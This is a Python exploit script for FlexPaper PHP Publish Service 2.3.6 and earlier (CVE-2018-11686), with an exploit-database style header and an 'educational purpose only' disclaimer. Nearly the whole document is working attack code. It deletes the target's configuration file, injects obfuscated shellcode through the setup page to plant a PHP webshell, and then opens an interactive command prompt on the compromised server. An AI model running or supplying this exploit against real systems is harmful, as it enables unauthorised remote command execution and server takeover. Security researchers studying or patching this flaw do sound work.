Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution

#!/usr/bin/env python
#Exploit Title: FlexPaper PHP Publish Service <= 2.3.6 RCE
#Date: March 2019
#Exploit Author: Red Timmy Security - redtimmysec.wordpress.com
#Vendor Homepage: https://flowpaper.com/download/
#Version: <= 2.3.6
#Tested on: Linux/Unix
#CVE : CVE-2018-11686
#Disclamer: This exploit is for educational purpose only
#More details on https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

import sys
import requests
import readline
import urllib2
import ssl

try:
        url = sys.argv[1]
except:
        print "[-] usage $python shredpaper.py http://targert.com/flexpaper/"
        print sys.exit(1)

print """
         __                  __                           
   _____/ /_  ________  ____/ ____  ____ _____  ___  _____
  / ___/ __ \/ ___/ _ \/ __  / __ \/ __ `/ __ \/ _ \/ ___/
 (__  / / / / /  /  __/ /_/ / /_/ / /_/ / /_/ /  __/ /    
/____/_/ /_/_/   \___/\__,_/ .___/\__,_/ .___/\___/_/     
                          /_/         /_/                 
"""

print "[*] FlexPaper <= 2.3.6 Remote Command Execution - Red Timmy Security)"
print "[*] Attacking %s" %url
print "[*] Deleting target configuration file"
payload = (("SAVE_CONFIG","1"),("PDF_Directory","/var/www/html/flex2.3.6/flexpaper/pdf"),("SWF_Directory","config/"),("LICENSEKEY",""),("splitmode","1"),("RenderingOrder_PRIM","flash"),("RenderingOrder_SEC","html"))
url1 = url+"/php/change_config.php"
r1 = requests.post(url1, data=payload)
rx = requests.post(url1, data=payload) #resend
shellcode = "%69%64%3b%65%63%68%6f%20%50%44%39%77%61%48%41%4b%43%69%52%72%5a%58%6b%67%50%53%41%6b%58%30%64%46%56%46%73%6e%59%57%4e%6a%5a%58%4e%7a%4a%31%30%37%43%67%70%70%5a%69%67%6b%61%32%56%35%50%54%30%6e%4d%44%6b%34%4e%7a%63%7a%4e%7a%59%78%4d%54%59%30%4e%7a%49%33%4e%44%49%33%4f%44%51%7a%4d%6a%51%34%4d%6a%52%74%65%47%31%74%65%47%30%6e%4b%58%73%4b%43%67%6c%6c%59%32%68%76%49%48%4e%6f%5a%57%78%73%58%32%56%34%5a%57%4d%6f%59%6d%46%7a%5a%54%59%30%58%32%52%6c%59%32%39%6b%5a%53%67%6b%58%30%64%46%56%46%73%6e%59%32%31%6b%4a%31%30%70%4b%54%73%4b%43%6e%30%37%43%6a%38%2b%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%69%67%65%72%5f%73%68%65%6c%6c%2e%70%68%70%3b%69%64"

print "[*] Uploading webshell.."
url2 = url+"/php/setup.php?step=2&PDF2SWF_PATH="+shellcode
r2 = requests.get(url2)
print "[*] Checking if shell is uploaded successfully"

webshell = url+ '/php/tiger_shell.php'

check_shell = requests.get(webshell)
if check_shell.status_code == 200:
        print "[*] We got a shell"
else:
        print "[-] Exploit failed, die"
        sys.exit(2)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
while True:
        cmd = raw_input("enter cmd>>")
        cmd = cmd.strip()
        cmd = cmd.encode('base64').strip().replace("\n","")
        link = url+"/php/tiger_shell.php?cmd=%s&access=09877376116472742784324824mxmmxm" %cmd.strip()
        #print link
        try:
                response = urllib2.urlopen(link, context=ctx)
                page = response.read()
                print page
        except Exception as exc:
                print exc
                continue